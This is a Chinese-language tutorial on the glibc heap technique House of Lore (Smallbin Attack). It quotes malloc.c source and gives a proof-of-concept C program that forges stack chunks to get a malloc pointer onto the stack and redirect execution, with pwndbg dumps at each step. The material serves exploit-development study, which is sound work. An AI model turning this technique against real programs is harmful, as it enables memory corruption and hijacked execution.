Smallbin Attack

参考资料：https://www.yuque.com/cyberangel/rg9gdm/nd4xd5

什么是 Smallbin Attack：

Small Bin Attack通常指 House of Lore 是一种基于 glibc Small Bin 双向链表机制的堆漏洞利用技术，核心目标是劫持 malloc 流程，分配到攻击者指定地址的伪造堆块，从而实现任意地址读写。

House of Lore 的漏洞原理：

Small Bin 是 glibc 用于管理特定大小（通常 0x20–0x400 区间）空闲堆块的双向循环链表。malloc 时，会从对应 Small Bin 的尾部 ( bk 方向 ) 取出堆块分配。

攻击利用的关键是：

  • 篡改 Small Bin 中合法堆块（victim）的 bk 指针，使其指向攻击者构造的 fake chunk。
  • 精心伪造 fake chunk 的fd/bk指针，绕过 glibc 的双向链表完整性检查：victim->bk->fd == victim
  • 当下次 malloc 该大小的堆块时，系统会将 fake chunk 从链表中取出并返回，从而获得对目标地址的控制权。

利用条件

  1. House Of Lore 存在于 glibc 2.31 版本之下
  2. 存在堆溢出 / 任意写漏洞，能够修改 Small Bin 中堆块的 bk 指针。
  3. 能够在内存中构造并控制 fake chunk 的 fd / bk 指针。
  4. 目标 fake chunk 所在内存区域可写（用于存放伪造的堆结构）。
  5. 程序会再次 malloc 对应大小的 Small Bin 堆块，触发分配流程。

House of Lore 的一般攻击流程：

  1. 准备环境：分配并释放若干堆块，使目标大小的堆块进入 Small Bin 链表。
  2. 篡改指针：通过漏洞修改 Small Bin 中最后一个堆块（victim）的 bk = fake_chunk1。
  3. 伪造堆块：
    • fake_chunk1->fd = victim（满足 victim->bk->fd == victim 检查）。
    • fake_chunk1->bk = fake_chunk2（构造链式结构）。
    • fake_chunk2->fd = fake_chunk1（进一步绕过检查）。
  4. 触发分配：调用 malloc 请求对应大小，系统从 Small Bin 尾部取出 fake_chunk1 并返回，完成劫持
  • Small Bin Attack（House of Lore）：利用 malloc 分配流程，目标是分配到 fake chunk，实现任意地址分配。
  • Unlink Attack：利用 free 合并流程，目标是修改任意地址内存（通常是指针），实现任意地址写。

高版本下的 Lore（Tcache Stashing Unlink）

在 Glibc 2.27+ 引入 Tcache 后，经典 House of Lore 受限制。衍生出 Tcache Stashing Unlink

  • 利用 calloc 绕开 Tcache，直接从 Small Bin 分配。
  • 触发 Small Bin 向未满 Tcache 迁移的机制，将 fake chunk 挂入 Tcache，最终分配到目标地址。

Smallbin 的执行机制：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//malloc.c中第3405-3434行
if (in_smallbin_range (nb)) //nb为所申请的chunk的真实大小。
{                           //若申请的chunk大小在smallbin中
    idx = smallbin_index (nb);         //获取smallbin的索引
    bin = bin_at (av, idx);            //获取smallbin中的chunk指针

    if ((victim = last (bin)) != bin)
    {   // 先执行 victim= last(bin)，获取 smallbin 的最后一个 chunk
        // 如果 victim = bin ，那说明该 bin 为空。
        // 如果不相等，那么会有两种情况

        if (victim == 0) /* initialization check */ //第一种情况，smallbin还没有初始化。

            malloc_consolidate (av);  //执行初始化，fastbin中的chunk进行合并
        else                          //第二种情况，smallbin中存在空闲的 chunk
        {
            bck = victim->bk;         //获取 small bin 中倒数第二个 chunk 。
            if (__glibc_unlikely (bck->fd != victim)) // 检查 bck->fd 是不是 victim，防止伪造
            {
                errstr = "malloc(): smallbin double linked list corrupted";
                goto errout;
            }
            set_inuse_bit_at_offset (victim, nb); // 设置 victim 对应的 inuse 位
            bin->bk = bck; //修改 smallbin 链表，将 small bin 的最后一个 chunk 取出来
            bck->fd = bin;

            if (av != &main_arena)// 如果不是 main_arena，设置对应的标志
                victim->size |= NON_MAIN_ARENA;
            check_malloced_chunk (av, victim, nb);// 细致的检查
            void *p = chunk2mem (victim);// 将申请到的 chunk 转化为对应的 mem 状态
            alloc_perturb (p, bytes);// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
            return p;
        }
    }
}
else //若申请的大小不在smallbin中
{
    idx = largebin_index (nb); //获取largebin中的索引
    if (have_fastchunks (av))	 //判断是否有fastbin chunk
        malloc_consolidate (av);  //整理fastbin
}

针对于 House Of Lore 漏洞的构造，我们主要看针对于 smallbin 的检查：

1
2
3
4
5
6
7
8
9
10
11
else                          //第二种情况，smallbin中存在空闲的 chunk
{
    bck = victim->bk;         //获取 small bin 中倒数第二个 chunk 。
    if (__glibc_unlikely (bck->fd != victim)) // 检查 bck->fd 是不是 victim，防止伪造
    {
        errstr = "malloc(): smallbin double linked list corrupted";
        goto errout;
    }
    set_inuse_bit_at_offset (victim, nb); // 设置 victim 对应的 inuse 位
    bin->bk = bck; //修改 smallbin 链表，将 small bin 的最后一个 chunk 取出来
    bck->fd = bin;

简单来说，我们想要走到这里需要满足两个基本条件：

  1. 所申请的 chunk 大小需要在 Smallbin 的范围之内。
  2. smallbin 中存在空闲的 chunk

什么是 victim？

  • Small Bin 链表就像一个双向循环的「空闲堆块队列」，里面全是系统认可的合法空闲堆块；
  • 当你调用 malloc(size) 时，glibc会找到对应大小的 Small Bin，从链表尾部找一个堆块分配，这个被选中的合法堆块就是我们所说的 victim
  • bck 是 victim->bk 的简写（bk = back，指双向链表中前一个节点），也就是 victim 在 Small Bin 链表中的前驱节点。

smallbin 的基本性质：

Small Bin 是双向循环链表，满足：

  • 合法堆块 A 的 fd 指向后继堆块 B ==> A->fd = B
  • 合法堆块 B 的 bk 指向前驱堆块 A ==> B->bk = A。因此必然满足 A->bk->fd = A、B->fd->bk = B

比如 Small Bin 链表是：bin_head <-> chunk1 <-> chunk2 <-> bin_head（循环）：

  • 若 victim = chunk2，则 bck = chunk2->bk = chunk1
  • 检查 bck->fd == victim ==> chunk1->fd == chunk2，结果为真，链表合法。

1772801674043-db582bf6-3e2d-4f9f-9ebb-cb46007ad021.png

House Of Lore 利用方式：

对于 House Of Lore 我们来看一个例子，这个例子非常不错：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    fprintf(stderr, "定义了两个数组");
    fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

    intptr_t *victim = malloc(100);
    fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
    intptr_t *victim_chunk = victim-2;//chunk 开始的位置

    fprintf(stderr, "在栈上伪造一块 fake chunk\n");
    fprintf(stderr, "设置 fd 指针指向 victim chunk，来绕过 small bin 的检查，这样的话就能把堆栈地址放在到 small bin 的列表上\n");
    stack_buffer_1[0] = 0;
    stack_buffer_1[1] = 0;
    stack_buffer_1[2] = victim_chunk;

    fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2，设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

    void *p5 = malloc(1000);
    fprintf(stderr, "另外再分配一块，避免与 top chunk 合并 %p\n", p5);

    fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
    free((void*)victim);

    fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    fprintf(stderr, "这时候去申请一个 chunk，触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理，最终被整理到 small bin 中 %p\n", victim);
    void *p2 = malloc(1200);

    fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞，让他的 bk 指针指向栈上\n");
    victim[1] = (intptr_t)stack_buffer_1;

    fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
    fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
    void *p3 = malloc(100);

    fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
    char *p4 = malloc(100);
    fprintf(stderr, "p4 = malloc(100)\n");

    fprintf(stderr, "\n在最后一个 malloc 之后，stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

    fprintf(stderr, "\np4 在栈上 %p\n", p4);
    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+40), &sc, 8);
}

直接 gdb 调试，把断点下在 31 行：看一下堆情况：

先简单说一下前 29 行的内容，定义了两个数组，通过改变下标来在不同地址存放自己需要的指针以及指向。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/100gx 0x603300
0x603300:   0x0000000000000000      0x0000000000000071 ==>malloc(100)chunk1
0x603310:       0x0000000000000000      0x0000000000000000
0x603320:       0x0000000000000000      0x0000000000000000
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x0000000000000000
0x603370:   0x0000000000000000      0x00000000000003f1 ==>malloc(1000)chunk2
0x603380:       0x0000000000000000      0x0000000000000000
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/16gx &stack_buffer_2
0x7fffffffdc70: 0x0000000000000000      0x0000000000000000==>&stack_buffer_2
0x7fffffffdc80: 0x00007fffffffdc90      0x0000000000000000
                #stack_buffer_1地址(fd)

0x7fffffffdc90: 0x0000000000000000      0x0000000000000000==>&stack_buffer_1
0x7fffffffdca0: 0x0000000000603300      0x00007fffffffdc70
                #chunk1地址(fd)          #stack_buffer_2地址(bk)

0x7fffffffdcb0: 0x0000000000000000      0xc4387dbfad925700
0x7fffffffdcc0: 0x0000000000000001      0x00007ffff7c29f68
0x7fffffffdcd0: 0x0000000000000000      0x0000000000400722
0x7fffffffdce0: 0x00000001ffffddc0      0x00007fffffffddd8

断点第 31 行呈现的其实就是前 31 行的具体操作：

首先我们在栈上申请了两个 stack_buffer(fake chunk)，然后将 stack_buffer_2 的 fd 指针修改为&stack_buffer_1，将 stack_buffer_1 的 fd 修改为&malloc(100)，将其 bk 修改为&stack_buffer_2。

free((void*)victim);

在 free(victim)之后 chunk 将会加入 fastbin 当中。我们直接单步走到 free 之后看一下 bins

1772805708007-eebe544c-b930-489e-b647-347c0cdbac6d.png

malloc(1200)；：

1772808747633-a0a04296-057d-48d2-bf7f-5bbdb48c62d5.png

1772810187830-c161a942-c68a-4caa-beb6-c5a168ecd038.png

这时候去申请一个 chunk，触发fastbin的合并使得victim进入 unsortedbin 中处理，最终被整理到 small bin 中

victim 是 malloc(100) 分配的堆块（大小≈0x68），free(victim) 后会进入 fastbin：单链表，无双向指针，无法篡改 bk；而我们的攻击需要 victim 进入 smallbin：双向链表，有 fd/bk 指针可篡改。

触发「fastbin 堆块合并」，让 victim 离开 fastbin
  • fastbin 的堆块默认不会和其他堆块合并。当你申请一个超大堆块1200 字节时，glibc 发现当前空闲堆块不够，会触发堆整理：把 fastbin 里的空闲堆块victim取出来，尝试和 top chunk堆顶空闲块合并。
  • 合并过程中，victim 会先被从 fastbin 移除，临时放入 unsortedbin（未分类的空闲堆块链表）。
触发「unsortedbin 归类」，让 victim 进入 smallbin
  • unsortedbin 是临时中转站，glibc 会把 unsortedbin 里的堆块按大小归类到对应 bin：
  • victim 大小是 100 字节（0x68），属于 smallbin 的范围（通常 0x20~0x400）；glibc 会把 victim 从 unsortedbin 移到「0x68 大小的 smallbin 双向链表」中；此时 victim 就有了 fd/bk 双向指针 指向 smallbin 的表头，我们才能篡改它的 bk 指针指向栈上的 fake chunk。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x/300gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000071 ==>malloc(100)
0x603010:       0x00007ffff7bc3bd8      0x00007ffff7bc3bd8    smallbins
                # 指向main_arena

0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f0==>malloc(1000)
0x603080:       0x0000000000000000      0x0000000000000000
......
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x00000000000004c1==>malloc(1200)
0x603470:       0x0000000000000000      0x0000000000000000
0x603480:       0x0000000000000000      0x0000000000000000
0x603490:       0x0000000000000000      0x0000000000000000
......
0x603910:       0x0000000000000000      0x0000000000000000
0x603920:       0x0000000000000000      0x00000000000206e1==>top_chunk
0x603930:       0x0000000000000000      0x0000000000000000
0x603940:       0x0000000000000000      0x0000000000000000
0x603950:       0x0000000000000000      0x0000000000000000

victim[1] = (intptr_t)stack_buffer_1;

1
2
fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞，让他的 bk 指针指向栈上\n");
victim[1] = (intptr_t)stack_buffer_1;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x/300gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000071 ==>malloc(100)
0x603010:       0x00007ffff7bc3bd8      0x00007fffffffdcc0    smallbins
                # 指向main_arena         #&stack_buffer_1

0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f0==>malloc(1000)
0x603080:       0x0000000000000000      0x0000000000000000
......
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x00000000000004c1==>malloc(1200)
0x603470:       0x0000000000000000      0x0000000000000000
0x603480:       0x0000000000000000      0x0000000000000000
0x603490:       0x0000000000000000      0x0000000000000000
......
0x603910:       0x0000000000000000      0x0000000000000000
0x603920:       0x0000000000000000      0x00000000000206e1==>top_chunk
0x603930:       0x0000000000000000      0x0000000000000000
0x603940:       0x0000000000000000      0x0000000000000000
0x603950:       0x0000000000000000      0x0000000000000000

1772810872827-aa2fc155-eade-4780-9b11-579bcbad8450.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/16gx 0x7fffffffdca0
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000==>&stack_buffer_2
0x7fffffffdcb0: 0x00007fffffffdcc0      0x0000000000400b6d
                #&stack_buffer_1(fd)

0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000==>&stack_buffer_1
0x7fffffffdcd0: 0x0000000000603000      0x00007fffffffdca0
                #&malloc(100)(fd)       # &stack_buffer_2(bk)

0x7fffffffdce0: 0x00007fffffffddd0      0x0a24f985546d7f00
0x7fffffffdcf0: 0x0000000000400b20      0x00007ffff7820830
0x7fffffffdd00: 0x0000000000000000      0x00007fffffffddd8
0x7fffffffdd10: 0x0000000100000000      0x0000000000400722

void *p3 = malloc(100);：

1
2
3
fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
void *p3 = malloc(100);

1772811581325-d4a58604-aa45-4330-83c6-4192ecfbf632.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/300gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000071==>malloc(100)
0x603010:       0x00007ffff7bc3bd8      0x00007fffffffdcc0
                # &main_arena           # &stack_buffer_1
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
......
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f1==>malloc(1000)
0x603080:       0x0000000000000000      0x0000000000000000
......
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x00000000000004c1==>malloc(1200)
0x603470:       0x0000000000000000      0x0000000000000000
0x603480:       0x0000000000000000      0x0000000000000000
......
0x603900:       0x0000000000000000      0x0000000000000000
0x603910:       0x0000000000000000      0x0000000000000000
0x603920:       0x0000000000000000      0x00000000000206e1==>top_chunk
0x603930:       0x0000000000000000      0x0000000000000000
0x603940:       0x0000000000000000      0x0000000000000000
0x603950:       0x0000000000000000      0x0000000000000000

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/16gx stack_buffer_2
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000==>stack_buffer_2
0x7fffffffdcb0: 0x00007ffff7bc3bd8      0x0000000000400b6d
                #&stack_buffer_1(fd)

0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000==>stack_buffer_1
0x7fffffffdcd0: 0x00007ffff7bc3bd8      0x00007fffffffdca0 #changed
                #&main_arena(fd)       #&stack_buffer_2
0x7fffffffdce0: 0x00007fffffffddd0      0x0a24f985546d7f00
0x7fffffffdcf0: 0x0000000000400b20      0x00007ffff7820830
0x7fffffffdd00: 0x0000000000000000      0x00007fffffffddd8
0x7fffffffdd10: 0x0000000100000000      0x0000000000400722

我们可以发现 stack_buffer_1 的 fd 指针发生了改变，从一开始的指向&malloc(100);边整理指向 main_arena 的地址，

1772813484567-e37088eb-9ce5-4b6f-bf71-8cb4a1b16c53.png

char *p4 = malloc(100);

1
2
3
4
5
6
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\n在最后一个 malloc 之后，stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

fprintf(stderr, "\np4 在栈上 %p\n", p4);
1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx stack_buffer_2
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000==>stack_buffer_2
0x7fffffffdcb0: 0x00007ffff7bc3bd8      0x0000000000400b6d
0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000==>stack_buffer_1
0x7fffffffdcd0: 0x00007ffff7bc3bd8      0x00007fffffffdca0
0x7fffffffdce0: 0x00007fffffffddd0      0x05b283ba65495500
0x7fffffffdcf0: 0x0000000000400b20      0x00007ffff7820830
0x7fffffffdd00: 0x0000000000000000      0x00007fffffffddd8
0x7fffffffdd10: 0x0000000100000000      0x0000000000400722

由此可见：利用 house of lore 可以分配任意指定位置的 chunk，从而修改任意地址的内存。

更新: 2026-03-07 00:22:12
原文: https://www.yuque.com/idcm/wnemg9/lzf8iwm2x9k8ruqo